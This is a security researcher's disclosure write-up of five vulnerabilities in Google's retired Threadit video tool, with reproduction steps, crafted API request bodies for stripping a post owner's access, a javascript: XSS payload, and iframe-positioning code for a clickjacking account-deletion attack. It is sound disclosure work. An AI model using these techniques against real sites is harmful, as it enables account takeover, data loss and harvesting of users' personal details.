5 Different Vulnerabilities in Google’s Threadit

Threadit was an online tool that allowed users to record and share short video recordings. It was built by Area 120, Google’s in-house program for experimental projects. It launched in March 2021 and has been discontinued in December 2022.

Threadit's banner
Threadit’s banner

In this article, we will go over five different vulnerabilities in Threadit.


DOM XSS with Clickjacking

To reproduce this XSS, we will first create a blank Threadit post.

Create a Threadit

In order to be able to publish the post, we will need to populate it with some content, such as a camera or screen recording.

New Threadit form

After we click Finish video, we can customize more options about the post. The only field that will interest us is Link.

Share your video form

Adding a link

Here we will specify a new link with a title and a valid URL. Entering an invalid value will display an error and won’t allow us to submit the form.

Add new link

When we click Publish, the following request is sent.

PATCH /draft/{draftId}
Host: api.threadit.app

{
  "cta": [
    {
      "text":"Click here!!1",
      "url":"https://websecblog.com/"
    }
  ],
  "isCtaPresent":true
}

We will intercept the request and replace the url field value with javascript:alert(document.domain).

Now, if we open the published post, we can see the CTA link we have attached in the bottom right corner. It is pointing to the JavaScript URI that we have changed in the PATCH request.

A video with a link pointing to "javascript:alert(document.domain)"

Clicking the link

Once we click the link, a new about:blank#blocked tab opens instead of executing the JavaScript code.

about:blank#blocked

This is because the a element has the target attribute set to _blank, which causes the link to open in a new tab. In Chromium-based browsers, the javascript: link won’t be executed. In Firefox, however, this works fine.

Try to click the following target="_blank" JavaScript link to see how it behaves in your browser.

To make sure the link works in both browsers, we need to force the link in Chromium-based browsers to open in the current tab instead.

Holding a modifier key while clicking on a link results in the link opening in a different way.

CTRL-clicking the link in both Chromium-based browsers and in Firefox will cause the JavaScript code to execute.

Now, the attacker could share this Threadit post publicly, send it to the victim, and instruct them to click on the link while holding CTRL. But this would require an excessive amount of user interaction.

Clickjacking

Instead, as threadit.app didn’t use to send the X-Frame-Options header, we were able to insert the Threadit post directly on our site.

The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

MDN web docs

Having an iframe on our site allows us to transform it using CSS. We can make it (practically) invisible while keeping it interactive by setting the opacity to 0.0000001. Then we will transform the iframe element using CSS and with the help of JavaScript, position it so that the link in it will always stay under the mouse pointer.

We need the user to click anywhere on our page. If the user is using a Chromium-based browser, they also have to be holding one of the modifier keys. We can overlay the page with a decoy button on top of the page with a prompt saying to CTRL-click it.

Once the user clicks somewhere on our page, the JavaScript code from the link will execute without the user even knowing.

The fix

Fixing the XSS is pretty straightforward. We just need to make sure the link starts with http:// or https://.

For the clickjacking part, adding the X-Frame-Options: DENY header to the HTTP response of the document will tell the browser to not allow any site to include it in an iframe.

Response headers before
Response headers after
Timeline
2021-05-02Vulnerability reported
2021-05-03Priority changed to P2
2021-05-04Nice catch
2021-05-06Reward issued

Removing the Post Owner from the ACL

This vulnerability allowed an attacker to remove the owner from any Threadit post.

Creating and Sharing a New Threadit Post

The victim creates a new post on Threadit and shares it either as Public or with specific people by entering their email addresses.

Sharing a Threadit post with the Public

Once the post is publicly shared, the attacker can access it. If the attacker was added to the list of viewers directly by email, the attacker will see a share UI in the top right. If, however, the post is shared publicly via a link, the share UI won’t be shown.

Post without Share UI
Public post
Post with Share UI
Directly shared post

The share UI being hidden in case of visiting a public post is reflected only on the frontend. No check is done on the backend and the API works the same with both posts.

Updating the ACL

When the attacker makes changes in the share dialog, a PATCH request with two JSON fields is sent.

PATCH /x/thread/{threadId}/acl
Host: api.threadit.app

{
  "remove":[
    
  ],
  "add":[
    {
      "role":[
        "ROLE_READ"
      ],
      "email":"user@example.com"
    }
  ]
}

The remove and add fields are arrays of objects with the user’s email and a role to be removed or added, respectively.

Share with people dialog
Share with people dialog

Trying to remove the owner from the access control list (ACL) using the following request will result in an error.

{
  "remove":[
    {
      "role":[
        "ROLE_OWNER"
      ],
      "email":"example@gmail.com"
    }
  ]
}
Owner [example@gmail.com] cannot be removed from thread

The attacker can, however, add new users as viewers and afterward remove the users they have added.

This request will add a new user to the ACL.

{
  "add":[
    {
      "role":[
        "ROLE_READ"
      ],
      "email":"user@example.com"
    }
  ]
}
New user in the ACL list

After the user has been added, the attacker subsequently deletes the user, leaving the ACL in the same state as it was before the attacker initially added the user.

{
  "remove":[
    {
      "role":[
        "ROLE_READ"
      ],
      "email":"user@example.com"
    }
  ]
}

From this, we have observed that the attacker, who is only a viewer of the post, can add any user as a viewer of the post. The attacker can also remove the same users they have previously added.

Now, what happens if the attacker tries to add the owner as a viewer?

{
  "add":[
    {
      "role":[
        "ROLE_READ"
      ],
      "email":"example@gmail.com"
    }
  ]
}

The owner’s role (ROLE_OWNER) gets downgraded to ROLE_READ.

{
  "addResult":[
    // items that were changed
    {
      "acl":{
        "role":"ROLE_READ",
        "email":"example@gmail.com"
      },
      "status":"STATUS_OK"
    }
  ],
  "acl":[
    // current ACL list
    { 
      // permission allowing the public to view the post
      "scope":{
        "public":{
          "isPresent":true
        }
      },
      "role":[
        "ROLE_READ"
      ]
    },
    {
      // permission of the owner is set as ROLE_READ
      "scope":{
        "user":{
          "name":"Victim User",
          "email":"example@gmail.com"
        }
      },
      "role":[
        "ROLE_READ"
      ]
    }
  ]
}

The attacker has successfully changed the post owner’s role from owner to viewer.

The post owner can still access the post, but some UI features are disabled.

Users who add viewers to a post can also remove them. Since the owner is now a viewer, the attacker can remove the owner from the ACL and also remove the public view permission.

{
  "remove":[
    {
      "role":[
        "ROLE_READ"
      ],
      "email":"example@gmail.com"
    },
    {
      "public":{
        "isPresent":true
      },
      "role":[
        "ROLE_READ"
      ]
    }
  ]
}

Once the owner opens their post, they will be presented with the following message.

A warning message: "You do not have access to this thread. Please ask the owner to share it with you."

The attack scenario is:

Anyone who can view any post can remove the owner from the ACL. The owner won’t be able to access their post anymore.

The fix

Now, trying to update the owner’s role will result in the following error: Owner scope cannot be updated.

Timeline
2021-07-08Vulnerability reported
2021-07-08Identified as Abuse Risk
2021-07-09Accepted
2021-07-20Reward issued

Click(jack) to Delete Your Account

By clicking the profile avatar in the top right of the website, we are able to configure our profile settings.

Threadit home page

This navigates us to the profile page at https://threadit.app/profile, with the Profile, Notifications, and Account tabs.

The only option in the Profile tab is to log out.

Delete Account

If we switch to the Account tab, we can see a Delete Account button.

Delete account form

Clicking Delete Account opens a confirmation prompt with the Cancel and Delete buttons.

Delete account confirmation
Delete account confirmation

Clickjacking

As we learned in the previous XSS clickjacking section, threadit.app didn’t use to protect itself against clickjacking attacks.

This allowed us to insert an iframe of https://threadit.app/profile on our website. Similar to the XSS clickjacking, we can position and hide the iframe. Unlike the XSS clickjacking, where we needed the user to only click once in a single place, we will need to navigate the user through the profile page and update the iframe accordingly after each click.

As navigating the tabs in the profile section doesn’t update the URL, we first need the victim to click on the Account tab. After that, we will reposition the iframe to the position of the Delete Account button, and then the final Delete button.

To detect a click in the iframe, we will wait until the current window loses focus by listening for the blur event. Then we will check if the currently focused element (document.activeElement) is equal to the iframe. If so, we can assume that the iframe was focused as a result of the user clicking in it. This won’t always be accurate as the iframe can get focused using a different way, but it works well enough for the demo.

const iframe = document.querySelector('iframe');

let step = 0;

// define coordinates on the page we want the user to click on
const steps = [
    {
        x: 321,
        y: 120
    },
    {
        x: 105,
        y: 300
    },
    {
        x: 406,
        y: 296
    }
];

// reposition the iframe to the current step coordinates
const updatePosition = () => {
    if (!steps[step]) return;
    iframe.style.left = -steps[step].x;
    iframe.style.top = -steps[step].y;
};

// update the iframe to the initial position
updatePosition();

// make sure the window is focused, so we can detect a blur event
window.focus();

// listen for events when the current window loses focus
window.addEventListener('blur', () => {
    // the currently focused element is the iframe,
    // meaning that the user probably clicked in it
    if (document.activeElement === iframe) {
        step++;
        console.log('step ' + step);

        // unfocus the iframe so we can detect the next click
        setTimeout(() => {
            document.activeElement.blur();
            updatePosition();
        }, 10);
    }
});

The video below illustrates how the clickjacking attack works. Normally, the overlay of the iframe would be hidden. The iframe is zoomed-in to make it easier to click in it. After each click, the iframe gets repositioned according to the steps coordinates.

Check out the demo page and its source code.

This leaves us with the following attack scenario:

The attacker can embed an iframe pointing to the account page and position it so that when the user clicks on the page, the Delete account button in the iframe will be clicked instead.
The victim’s Threadit account that they are currently logged into will be deleted without their knowledge.

Timeline
2021-07-08Vulnerability reported
2021-07-08Priority changed to P2
2021-07-08Nice catch
2021-07-20Reward issued

Getting Viewers of Public Posts

This vulnerability allowed unauthorized users to access the list of viewers on a public post.

The list of Viewers is visible to anyone who has been directly added to the permissions on the Threadit via email address (i.e. Owner, Reply, or View access). Anyone viewing a Theadit via anonymous public access cannot see the list of Viewers.

Threadit Support

When an author or someone added by an email address to a Threadit post views the post, there will be an eye icon in the UI with the list of users who viewed the post.

List of viewers

When someone who was not added to this post directly, but opened it via a link, views the post, the eye icon to show the list of viewers will not be shown.

Post without the list of viewers in the UI

The following request is sent once the author opens the post.

GET /message/{messageId}
Host: api.threadit.app
{
  ...
  "viewer":[
    {
      "user":{
        "name":"Thomas Orlita",
        "email":"info@thomasorlita.com"
      },
      "viewCount":1,
      "lastViewedTime":"2021-03-20T17:49:39.668Z"
    },
    {
      "user":{
        "name":"Anonymous"
      },
      "viewCount":10,
      "lastViewedTime":"2021-08-13T16:44:16.864Z"
    },
    {
      "user":{
        "name":"Example User",
        "email":"user@example.com"
      },
      "viewCount":4,
      "lastViewedTime":"2021-07-30T17:49:08.111Z"
    },
    {
      "user":{
        "name":"Another User",
        "email":"another@user.example"
      },
      "viewCount":1,
      "lastViewedTime":"2021-03-17T15:53:01.469Z"
    }
  ]
}

One of the fields in the response, viewer, contains the list of all users who viewed this post. Users who were not logged in are shown as Anonymous.

When a user who shouldn’t be able to see the list of viewers opens the post, the same GET request is sent. However, the response with the list of viewers is identical to the one sent to the author. This means that the list of viewers is sent to everyone, regardless if they should see it.

Attack scenario:

A user who was not directly added to a public post with the Owner/Reply/View permission can still get the list of viewers (name, email, profile picture). Only users with the appropriate permission should be able to do so.

Timeline
2021-07-07Vulnerability reported
2021-07-08Identified as Abuse Risk
2021-07-09Priority changed to P3
2021-07-15Closed as Won’t Fix
2021-07-19Added more info
2021-08-04Nice catch
2021-08-10Reward issued

Getting Info About the Logged-In User

As we know, the author can see the list of users who viewed the post.

We can get the email address of the victim just by navigating them to our post. Even better, we can embed an invisible iframe of the post on our site. When the victim opens our site, our Threadit post gets quietly loaded in the background without them knowing. If the victim is logged in Threadit, their email address will be added to the list of viewers we can access.

Once the victim’s browser has loaded the iframe, we can fetch the list of viewers of the post and get the latest viewer.

{
    "name": "Thomas Orlita",
    "email": "info@thomasorlita.com",
    "profileImageUrl": "https://lh3.googleusercontent.com/a-/AOh14GjvK1Kv58P5EzvedgZDkNZVXHR-69p3Urs5INck1gA=s96-c"
}

Unfortunately, this bug was marked as Intended behavior. Later, the X-Frame-Options header was added, so iframing the site is not possible anymore. This could still be replicated by opening a new tab instead, but now it’d be visible to the victim.

The attack scenario for this report was:

Assuming the victim is logged in Threadit, the attacker gets the victim’s personal information once they open the attacker’s website.
This could be also used for harvesting visitors’ data in the background.

Timeline
2021-07-03Vulnerability reported
2021-07-05Closed as Won’t Fix

This is all from vulnerabilities on Threadit’s site. The Threadit team confirmed that none of them were abused.

But, there is also the Threadit Chrome Extension. The Chrome Extension, used for integrating Threadit with other sites on the web, Gmail being one of them, was vulnerable to an XSS attack. This allowed executing a DOM XSS in Gmail via postMessage if the user has installed the extension.

More about this in an upcoming article!


Written by Thomas Orlita
Follow me on Twitter: @ThomasOrlita / Mastodon: @ThomasOrlita@infosec.exchange